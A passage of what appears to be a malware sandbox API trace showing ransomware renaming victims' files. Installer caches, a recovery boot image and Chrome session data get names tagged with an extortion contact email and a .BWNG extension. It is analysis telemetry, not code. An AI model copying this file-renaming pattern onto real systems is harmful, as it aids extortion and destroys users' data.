lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0121.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0121.918] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].ONKTpDRb-cITJkKrE.BWNG" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].onktpdrb-citjkkre.bwng"), dwFlags=0x1) returned 1 [0121.919] GetTickCount () returned 0x1166114 [0121.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26387136457) returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0121.919] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0121.919] GetTickCount () returned 0x1166114 [0121.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26387167899) returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0121.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0121.920] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\[billwong73@yahoo.com].R15mRVvV-gS41tvgk.BWNG" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\[billwong73@yahoo.com].r15mrvvv-gs41tvgk.bwng"), dwFlags=0x1) returned 1 [0121.921] GetTickCount () returned 0x1166114 [0121.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26387563400) returned 1 [0121.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0121.923] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0121.924] GetTickCount () returned 0x1166114 [0121.924] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26387596279) returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0121.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0121.924] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\[billwong73@yahoo.com].Pdi45YH8-pEHL8ntY.BWNG" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\[billwong73@yahoo.com].pdi45yh8-pehl8nty.bwng"), dwFlags=0x1) returned 1 [0122.306] GetTickCount () returned 0x116629a [0122.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26425863694) returned 1 [0122.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0122.307] GetTickCount () returned 0x116629a [0122.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26425895225) returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="d") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0122.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0122.307] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\GoogleUpdateSetup.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\googleupdatesetup.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\[billwong73@yahoo.com].hLVqXZPy-PRtJdJEI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\[billwong73@yahoo.com].hlvqxzpy-prtjdjei.bwng"), dwFlags=0x1) returned 1 [0122.309] GetTickCount () returned 0x116629a [0122.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26426146780) returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="j") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0122.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0122.310] GetTickCount () returned 0x116629a [0122.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26426181219) returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0122.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0122.310] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\[billwong73@yahoo.com].CIjwU8nN-meAtc3G4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\[billwong73@yahoo.com].cijwu8nn-meatc3g4.bwng"), dwFlags=0x1) returned 1 [0122.311] GetTickCount () returned 0x116629a [0122.311] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26426367526) returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="k") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0122.312] GetTickCount () returned 0x116629a [0122.312] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26426398919) returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0122.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0122.312] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].X8rpk59s-WTeIQDlh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].x8rpk59s-wteiqdlh.bwng"), dwFlags=0x1) returned 1 [0122.313] GetTickCount () returned 0x116629a [0122.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26426572096) returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="s") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0122.314] GetTickCount () returned 0x116629a [0122.314] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=26426605240) returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0122.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 